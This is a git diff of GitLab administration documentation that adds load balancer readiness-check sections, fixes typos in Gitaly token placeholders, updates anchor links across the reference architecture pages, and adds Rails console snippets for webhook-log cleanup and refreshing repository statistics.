b/doc/administration/reference_architectures/10k_users.md index fe2dad41066..5f8ab6683a9 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -167,6 +167,14 @@ added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. +### Readiness checks + +Ensure the external load balancer only routes to working services with built +in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md) +all require [additional configuration](../monitoring/ip_whitelist.md) +on the nodes being checked, otherwise, the external load balancer will not be able to +connect. + ### Ports The basic ports to be used are shown in the table below. @@ -325,6 +333,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL: 1. Configure the GitLab application servers with the appropriate details. This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails). +See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for +further configuration steps. + ### Standalone PostgreSQL using Omnibus GitLab The following IPs will be used as an example: @@ -1435,7 +1446,7 @@ On each node: gitlab_workhorse['enable'] = false grafana['enable'] = false - # If you run a seperate monitoring node you can disable these services + # If you run a separate monitoring node you can disable these services alertmanager['enable'] = false prometheus['enable'] = false @@ -1990,15 +2001,15 @@ based on what features you intend to use: 1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage) including [incremental logging](../job_logs.md#new-incremental-logging-architecture). 1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage). -1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only). +1. Configure [object storage for uploads](../uploads.md#using-object-storage). 1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage). 1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature). 1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature). 1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)** -1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). -1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only). +1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). +1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage). Using separate buckets for each data type is the recommended approach for GitLab. diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md index d3cf5f49413..d376c1b7575 100644 --- a/doc/administration/reference_architectures/1k_users.md +++ b/doc/administration/reference_architectures/1k_users.md @@ -12,7 +12,7 @@ full list of reference architectures, see If you need to serve up to 1,000 users and you don't have strict availability requirements, a single-node solution with -[frequent backups](index.md#automated-backups-core-only) is appropriate for +[frequent backups](index.md#automated-backups) is appropriate for many organizations . > - **Supported users (approximate):** 1,000 diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index 1cfa2565893..2ef555bff29 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -167,6 +167,14 @@ added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. +### Readiness checks + +Ensure the external load balancer only routes to working services with built +in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md) +all require [additional configuration](../monitoring/ip_whitelist.md) +on the nodes being checked, otherwise, the external load balancer will not be able to +connect. + ### Ports The basic ports to be used are shown in the table below. @@ -325,6 +333,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL: 1. Configure the GitLab application servers with the appropriate details. This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails). +See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for +further configuration steps. + ### Standalone PostgreSQL using Omnibus GitLab The following IPs will be used as an example: @@ -1435,7 +1446,7 @@ On each node: gitlab_workhorse['enable'] = false grafana['enable'] = false - # If you run a seperate monitoring node you can disable these services + # If you run a separate monitoring node you can disable these services alertmanager['enable'] = false prometheus['enable'] = false @@ -1990,15 +2001,15 @@ based on what features you intend to use: 1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage) including [incremental logging](../job_logs.md#new-incremental-logging-architecture). 1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage). -1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only). +1. Configure [object storage for uploads](../uploads.md#using-object-storage). 1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage). 1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature). 1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature). 1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)** -1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). -1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only). +1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). +1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage). Using separate buckets for each data type is the recommended approach for GitLab. diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index a7feb78a365..34b90964fbf 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -42,7 +42,7 @@ doesn't require you to provision and maintain a node. To set up GitLab and its components to accommodate up to 2,000 users: -1. [Configure the external load balancing node](#configure-the-load-balancer) +1. [Configure the external load balancing node](#configure-the-external-load-balancer) to handle the load balancing of the two GitLab application services nodes. 1. [Configure PostgreSQL](#configure-postgresql), the database for GitLab. 1. [Configure Redis](#configure-redis). @@ -60,7 +60,7 @@ To set up GitLab and its components to accommodate up to 2,000 users: storage. You can skip this step if you're not using GitLab Pages (which requires NFS). -## Configure the load balancer +## Configure the external load balancer NOTE: **Note:** This architecture has been tested and validated with [HAProxy](https://www.haproxy.org/). @@ -115,6 +115,14 @@ need to add a configuration to GitLab to configure SSL certificates. For details about managing SSL certificates and configuring NGINX, see the [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https). +### Readiness checks + +Ensure the external load balancer only routes to working services with built +in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md) +all require [additional configuration](../monitoring/ip_whitelist.md) +on the nodes being checked, otherwise, the external load balancer will not be able to +connect. + ### Ports The basic load balancer ports you should use are described in the following @@ -193,6 +201,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL: 1. Configure the GitLab application servers with the appropriate details. This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails). +See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for +further configuration steps. + ### Standalone PostgreSQL using Omnibus GitLab 1. SSH into the PostgreSQL server. @@ -345,50 +356,51 @@ are supported and can be added if needed. ## Configure Gitaly -Deploying Gitaly in its own server can benefit GitLab installations that are -larger than a single machine. Gitaly node requirements are dependent on data, -specifically the number of projects and their sizes. It's recommended that each -Gitaly node store no more than 5TB of data. Your 2K setup may require one or more -nodes depending on your repository storage requirements. - -We strongly recommend that all Gitaly nodes should be set up with SSD disks with a throughput of at least -8,000 IOPS for read operations and 2,000 IOPS for write, as Gitaly has heavy I/O. -These IOPS values are recommended only as a starter as with time they may be -adjusted higher or lower depending on the scale of your environment's workload. -If you're running the environment on a Cloud provider -you may need to refer to their documentation on how configure IOPS correctly. - -Some things to note: - -- The GitLab Rails application shards repositories into [repository storages](../repository_storage_paths.md). -- A Gitaly server can host one or more storages. -- A GitLab server can use one or more Gitaly servers. -- Gitaly addresses must be specified in such a way that they resolve - correctly for ALL Gitaly clients. +[Gitaly](../gitaly/index.md) server node requirements are dependent on data, +specifically the number of projects and those projects' sizes. It's recommended +that a Gitaly server node stores no more than 5TB of data. Although this +reference architecture includes a single Gitaly server node, you may require +additional nodes depending on your repository storage requirements. + +Due to Gitaly having notable input and output requirements, we strongly +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS +for write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. + +Be sure to note the following items: + +- The GitLab Rails application shards repositories into + [repository storage paths](../repository_storage_paths.md). +- A Gitaly server can host one or more storage paths. +- A GitLab server can use one or more Gitaly server nodes. +- Gitaly addresses must be specified to be correctly resolvable for *all* + Gitaly clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -TIP: **Tip:** -For more information about Gitaly's history and network architecture see the -[standalone Gitaly documentation](../gitaly/index.md). - -Note: **Note:** The token referred to throughout the Gitaly documentation is -just an arbitrary password selected by the administrator. It is unrelated to -tokens created for the GitLab API or other similar web API tokens. +NOTE: **Note:** +The token referred to throughout the Gitaly documentation is an arbitrary +password selected by the administrator. This token is unrelated to tokens +created for the GitLab API or other similar web API tokens. -Below we describe how to configure one Gitaly server `gitaly1.internal` with -secret token `gitalysecret`. We assume your GitLab installation has two -repository storages: `default` and `storage1`. +The following procedure describes how to configure a single Gitaly server named +`gitaly1.internal` with the secret token `gitalysecret`. We assume your GitLab +installation has two repository storages: `default` and `storage1`. To configure the Gitaly server: -1. [Download/Install](https://about.gitlab.com/install/) the Omnibus GitLab - package you want using **steps 1 and 2** from the GitLab downloads page but - **without** providing the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure storage paths, enable - the network listener and configure the token: +1. On the server node you want to use for Gitaly, + [download and install](https://about.gitlab.com/install/) your selected + Omnibus GitLab package using *steps 1 and 2* from the GitLab downloads page, + but *without* providing the `EXTERNAL_URL` value. +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -402,7 +414,7 @@ To configure the Gitaly server: # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. # The following two values must be the same as their respective values # of the GitLab Rails application setup - gitaly['auth_token'] = 'gitlaysecret' + gitaly['auth_token'] = 'gitalysecret' gitlab_shell['secret_token'] = 'shellsecret' # Avoid running unnecessary services on the Gitaly server @@ -415,7 +427,7 @@ To configure the Gitaly server: gitlab_workhorse['enable'] = false grafana['enable'] = false - # If you run a seperate monitoring node you can disable these services + # If you run a separate monitoring node you can disable these services alertmanager['enable'] = false prometheus['enable'] = false @@ -437,11 +449,7 @@ To configure the Gitaly server: # Set the network addresses that the exporters used for monitoring will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - ``` - -1. Append the following to `/etc/gitlab/gitlab.rb` on `gitaly1.internal`: - ```ruby git_data_dirs({ 'default' => { 'path' => '/var/opt/gitlab/git-data' @@ -452,12 +460,7 @@ To configure the Gitaly server: }) ``` - <!-- - updates to following example must also be made at - https://gitlab.com/gitlab-org/charts/gitlab/blob/master/doc/advanced/external-gitaly/external-omnibus-gitaly.md#configure-omnibus-gitlab - --> - -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Confirm that Gitaly can perform callbacks to the internal API: ```shell @@ -573,7 +576,7 @@ On each node perform the following: 1. Create/edit `/etc/gitlab/gitlab.rb` and use the following configuration. To maintain uniformity of links across nodes, the `external_url` on the application server should point to the external URL that users will use - to access GitLab. This would be the URL of the [load balancer](#configure-the-load-balancer) + to access GitLab. This would be the URL of the [load balancer](#configure-the-external-load-balancer) which will route traffic to the GitLab application server: ```ruby @@ -583,7 +586,7 @@ On each node perform the following: # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. # The following two values must be the same as their respective values # of the Gitaly setup - gitlab_rails['gitaly_token'] = 'gitalyecret' + gitlab_rails['gitaly_token'] = 'gitalysecret' gitlab_shell['secret_token'] = 'shellsecret' git_data_dirs({ @@ -818,15 +821,15 @@ on the features you intend to use: 1. [Object storage for job artifacts](../job_artifacts.md#using-object-storage) including [incremental logging](../job_logs.md#new-incremental-logging-architecture). 1. [Object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage). -1. [Object storage for uploads](../uploads.md#using-object-storage-core-only). +1. [Object storage for uploads](../uploads.md#using-object-storage). 1. [Object storage for merge request diffs](../merge_request_diffs.md#using-object-storage). 1. [Object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature). 1. [Object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature). 1. [Object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. [Object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. [Object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)** -1. [Object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional, for improved performance). -1. [Object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only). +1. [Object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional, for improved performance). +1. [Object storage for Terraform state files](../terraform_state.md#using-object-storage). Using separate buckets for each data type is the recommended approach for GitLab. diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index 2f88413de6f..be944586e43 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -162,6 +162,14 @@ added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. +### Readiness checks + +Ensure the external load balancer only routes to working services with built +in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md) +all require [additional configuration](../monitoring/ip_whitelist.md) +on the nodes being checked, otherwise, the external load balancer will not be able to +connect. + ### Ports The basic ports to be used are shown in the table below. @@ -600,6 +608,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL: 1. Configure the GitLab application servers with the appropriate details. This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails). +See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for +further configuration steps. + ### Standalone PostgreSQL using Omnibus GitLab The following IPs will be used as an example: @@ -1128,7 +1139,7 @@ On each node: # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. # The following two values must be the same as their respective values # of the GitLab Rails application setup - gitaly['auth_token'] = 'gitlaysecret' + gitaly['auth_token'] = 'gitalysecret' gitlab_shell['secret_token'] = 'shellsecret' # Avoid running unnecessary services on the Gitaly server @@ -1142,7 +1153,7 @@ On each node: grafana['enable'] = false gitlab_exporter['enable'] = false - # If you run a seperate monitoring node you can disable these services + # If you run a separate monitoring node you can disable these services alertmanager['enable'] = false prometheus['enable'] = false @@ -1471,7 +1482,7 @@ On each node perform the following: # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. # The following two values must be the same as their respective values # of the Gitaly setup - gitlab_rails['gitaly_token'] = 'gitalyecret' + gitlab_rails['gitaly_token'] = 'gitalysecret' gitlab_shell['secret_token'] = 'shellsecret' git_data_dirs({ @@ -1716,15 +1727,15 @@ based on what features you intend to use: 1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage) including [incremental logging](../job_logs.md#new-incremental-logging-architecture). 1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage). -1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only). +1. Configure [object storage for uploads](../uploads.md#using-object-storage). 1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage). 1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature). 1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature). 1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)** -1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). -1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only). +1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). +1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage). Using separate buckets for each data type is the recommended approach for GitLab. diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 565845b4bf5..e812eed0227 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -167,6 +167,14 @@ added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. +### Readiness checks + +Ensure the external load balancer only routes to working services with built +in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md) +all require [additional configuration](../monitoring/ip_whitelist.md) +on the nodes being checked, otherwise, the external load balancer will not be able to +connect. + ### Ports The basic ports to be used are shown in the table below. @@ -325,6 +333,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL: 1. Configure the GitLab application servers with the appropriate details. This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails). +See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for +further configuration steps. + ### Standalone PostgreSQL using Omnibus GitLab The following IPs will be used as an example: @@ -1435,7 +1446,7 @@ On each node: gitlab_workhorse['enable'] = false grafana['enable'] = false - # If you run a seperate monitoring node you can disable these services + # If you run a separate monitoring node you can disable these services alertmanager['enable'] = false prometheus['enable'] = false @@ -1990,15 +2001,15 @@ based on what features you intend to use: 1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage) including [incremental logging](../job_logs.md#new-incremental-logging-architecture). 1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage). -1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only). +1. Configure [object storage for uploads](../uploads.md#using-object-storage). 1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage). 1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature). 1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature). 1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)** -1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). -1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only). +1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). +1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage). Using separate buckets for each data type is the recommended approach for GitLab. diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index 14685ffa53d..6dfa588b092 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -162,6 +162,14 @@ added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. +### Readiness checks + +Ensure the external load balancer only routes to working services with built +in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md) +all require [additional configuration](../monitoring/ip_whitelist.md) +on the nodes being checked, otherwise, the external load balancer will not be able to +connect. + ### Ports The basic ports to be used are shown in the table below. @@ -600,6 +608,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL: 1. Configure the GitLab application servers with the appropriate details. This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails). +See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for +further configuration steps. + ### Standalone PostgreSQL using Omnibus GitLab The following IPs will be used as an example: @@ -1127,7 +1138,7 @@ On each node: # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. # The following two values must be the same as their respective values # of the GitLab Rails application setup - gitaly['auth_token'] = 'gitlaysecret' + gitaly['auth_token'] = 'gitalysecret' gitlab_shell['secret_token'] = 'shellsecret' # Avoid running unnecessary services on the Gitaly server @@ -1141,7 +1152,7 @@ On each node: grafana['enable'] = false gitlab_exporter['enable'] = false - # If you run a seperate monitoring node you can disable these services + # If you run a separate monitoring node you can disable these services alertmanager['enable'] = false prometheus['enable'] = false @@ -1470,7 +1481,7 @@ On each node perform the following: # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. # The following two values must be the same as their respective values # of the Gitaly setup - gitlab_rails['gitaly_token'] = 'gitalyecret' + gitlab_rails['gitaly_token'] = 'gitalysecret' gitlab_shell['secret_token'] = 'shellsecret' git_data_dirs({ @@ -1715,15 +1726,15 @@ based on what features you intend to use: 1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage) including [incremental logging](../job_logs.md#new-incremental-logging-architecture). 1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage). -1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only). +1. Configure [object storage for uploads](../uploads.md#using-object-storage). 1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage). 1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature). 1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature). 1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)** 1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)** -1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). -1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only). +1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance). +1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage). Using separate buckets for each data type is the recommended approach for GitLab. diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index 4f7be2413dd..3964b8daeb7 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -32,7 +32,7 @@ per 1,000 users: - Git: 2 RPS For GitLab instances with less than 2,000 users, it's recommended that you use -the [default setup](#automated-backups-core-only) by +the [default setup](#automated-backups) by [installing GitLab](../../install/README.md) on a single machine to minimize maintenance and resource costs. @@ -73,11 +73,11 @@ The following reference architectures are available: GitLab comes with the following components for your use, listed from least to most complex: -- [Automated backups](#automated-backups-core-only) -- [Traffic load balancer](#traffic-load-balancer-starter-only) -- [Zero downtime updates](#zero-downtime-updates-starter-only) -- [Automated database failover](#automated-database-failover-premium-only) -- [Instance level replication with GitLab Geo](#instance-level-replication-with-gitlab-geo-premium-only) +- [Automated backups](#automated-backups) +- [Traffic load balancer](#traffic-load-balancer) +- [Zero downtime updates](#zero-downtime-updates) +- [Automated database failover](#automated-database-failover) +- [Instance level replication with GitLab Geo](#instance-level-replication-with-gitlab-geo) As you implement these components, begin with a single server and then do backups. Only after completing the first server should you proceed to the next. @@ -147,7 +147,7 @@ is recommended. > - Required domain knowledge: Storage replication > - Supported tiers: [GitLab Premium and Ultimate](https://about.gitlab.com/pricing/) -[GitLab Geo](../geo/replication/index.md) allows you to replicate your GitLab +[GitLab Geo](../geo/index.md) allows you to replicate your GitLab instance to other geographical locations as a read-only fully operational instance that can also be promoted in case of disaster. diff --git a/doc/administration/server_hooks.md b/doc/administration/server_hooks.md index ab808fc28d8..54b2cd43265 100644 --- a/doc/administration/server_hooks.md +++ b/doc/administration/server_hooks.md @@ -37,7 +37,7 @@ Note the following about server hooks: - [GitLab CI/CD](../ci/README.md). - [Push Rules](../push_rules/push_rules.md), for a user-configurable Git hook interface. **(STARTER)** -- Server hooks aren't replicated to [Geo](geo/replication/index.md) secondary nodes. +- Server hooks aren't replicated to [Geo](geo/index.md) secondary nodes. ## Create a server hook for a repository @@ -158,18 +158,18 @@ them as they can change. ## Transition to Go -> Introduced in GitLab 13.2 using feature flags. +> - Introduced in GitLab 13.2 using feature flags. +> - In GitLab 13.4, `update` Ruby [implementation removed](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2501). +> - In GitLab 13.4, `post-receive` Go implementation [made default](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2502). The following server hooks have been re-implemented in Go: - `pre-receive`, with the Go implementation used by default. To use the Ruby implementation instead, [disable](feature_flags.md#enable-or-disable-the-feature) the `:gitaly_go_preceive_hook` feature flag. -- `update`, with the Go implementation used by default. To use the Ruby implementation instead, - [disable](feature_flags.md#enable-or-disable-the-feature) the `:gitaly_go_update_hook` feature - flag. -- `post-receive`, however the Ruby implementation is used by default. To use the Go implementation - instead, [enable](feature_flags.md#enable-or-disable-the-feature) the +- `update`, with Go implementation always used. No Ruby implementation is available. +- `post-receive`, with the Go implementation used by default. To use the Ruby implementation + instead, [disable](feature_flags.md#enable-or-disable-the-feature) the `:gitaly_go_postreceive_hook` feature flag. ## Custom error messages diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md index 5daf34c1011..a1b4df9b94e 100644 --- a/doc/administration/troubleshooting/debug.md +++ b/doc/administration/troubleshooting/debug.md @@ -64,10 +64,10 @@ easy to copy and save for future reference, you can run: puts Readline::HISTORY.to_a ``` -## Using the Rails Runner +## Using the Rails runner If you need to run some Ruby code in the context of your GitLab production -environment, you can do so using the [Rails Runner](https://guides.rubyonrails.org/command_line.html#rails-runner). When executing a script file, the script must be accessible by the `git` user. +environment, you can do so using the [Rails runner](https://guides.rubyonrails.org/command_line.html#rails-runner). When executing a script file, the script must be accessible by the `git` user. **For Omnibus installations** diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 22d699b424b..9a23a115765 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -43,10 +43,13 @@ instance_of_object.method(:foo).source_location project.method(:private?).source_location ``` -## Query an object +## Query the database using an ActiveRecord Model ```ruby -o = Object.where('attribute like ?', 'ex') +m = Model.where('attribute like ?', 'ex%') + +# for example to query the projects +projects = Project.where('path like ?', 'Oumua%') ``` ## View all keys in cache @@ -215,6 +218,17 @@ namespace = Namespace.find_by_full_path("") ::Projects::TransferService.new(p, current_user).execute(namespace) ``` +### For Removing webhooks that is getting timeout due to large webhook logs + +```ruby +# ID will be the webhook_id +WebHookLog.where(web_hook_id: ID).each_slice(ID) do |slice| + slice.each(&:destroy) +end + +WebHook.find(ID).destroy +``` + ### Bulk update service integration password for _all_ projects For example, change the Jira user's password for all projects that have the Jira @@ -242,6 +256,18 @@ p.each do |project| end ``` +### Incorrect repository statistics shown in the GUI + +After [reducing a repository size with third-party tools](../../user/project/repository/reducing_the_repo_size_using_git.md) +the displayed size may still show old sizes or commit numbers. To force an update, do: + +```ruby +p = Project.find_by_full_path('<namespace>/<project>') +pp p.statistics +p.statistics.refresh! +pp p.statistics # compare with earlier values +``` + ## Wikis ### Recreate diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md index 06c49d67f40..f24234e1aff 100644 --- a/doc/administration/troubleshooting/linux_cheat_sheet.md +++ b/doc/administration/troubleshooting/linux_cheat_sheet.md @@ -179,11 +179,13 @@ strace -tt -T -f -y -yy -s 1024 -p <pid> ps auwx | grep unicorn | awk '{ print " -p " $2}' | xargs strace -tt -T -f -y -yy -s 1024 -o /tmp/unicorn.txt ``` -See the [strace zine](https://wizardzines.com/zines/strace/) for a quick walkthrough. +Be aware that strace can have major impacts to system performance when it is running. -Brendan Gregg has a more detailed explanation of [how to use strace](http://www.brendangregg.com/blog/2014-05-11/strace-wow-much-syscall.html). +#### Strace Resources -Be aware that strace can have major impacts to system performance when it is running. +- See the [strace zine](https://wizardzines.com/zines/strace/) for a quick 